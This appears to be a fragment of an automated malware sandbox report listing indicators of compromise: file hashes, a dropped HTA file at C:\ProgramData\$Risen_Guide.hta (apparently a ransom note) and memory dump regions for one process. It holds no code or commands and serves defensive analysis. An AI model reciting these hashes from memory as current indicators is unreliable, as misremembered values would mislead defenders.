                                                                                                                                                        SHA1

                                                                                                                                                        d1f4784aa78104bcf259f5b08f6c42b7eb3099ac

                                                                                                                                                        SHA256

                                                                                                                                                        8ec435aba56e3b02775a7522e80becbd5a31452f51aa757dfb5f8a71a2b9dbe1

                                                                                                                                                        SHA512

                                                                                                                                                        ba3ce8af8b5772c0a126fe769999e9c3f0370000be36c5a2001ded8034100db0833e81fe1168a2ce972488ee4b134b615d35bb1bf6bbfae57a94792e1c482277

                                                                                                                                                      • C:\ProgramData\$Risen_Guide.hta

                                                                                                                                                        Filesize

                                                                                                                                                        7KB

                                                                                                                                                        MD5

                                                                                                                                                        0d3aa8b7a53a3d097056b0e2f463ca54

                                                                                                                                                        SHA1

                                                                                                                                                        e7ec53ca2234b5a66f47671a98c09023464c019e

                                                                                                                                                        SHA256

                                                                                                                                                        a5c28c0139743eb9252f36aaf6e5a38effdb163c8fdfa1e5911c3d8a1b1124d3

                                                                                                                                                        SHA512

                                                                                                                                                        13a2a4d72ad9c9d3be41c988c8eee19910d1785ca5d56b9eeb76d2b3dec2f2e4181deaa1f56b99a012d36a08020dfcc8b1bc46f315f9024fe2544e9081bad58c

                                                                                                                                                      • memory/2904-0-0x0000000000900000-0x000000000096E000-memory.dmp

                                                                                                                                                        Filesize

                                                                                                                                                        440KB

                                                                                                                                                      • memory/2904-11450-0x0000000000900000-0x000000000096E000-memory.dmp

                                                                                                                                                        Filesize

                                                                                                                                                        440KB

                                                                                                                                                      • memory/2904-11452-0x0000000000900000-0x000000000096E000-memory.dmp

                                                                                                                                                        Filesize

                                                                                                                                                        440KB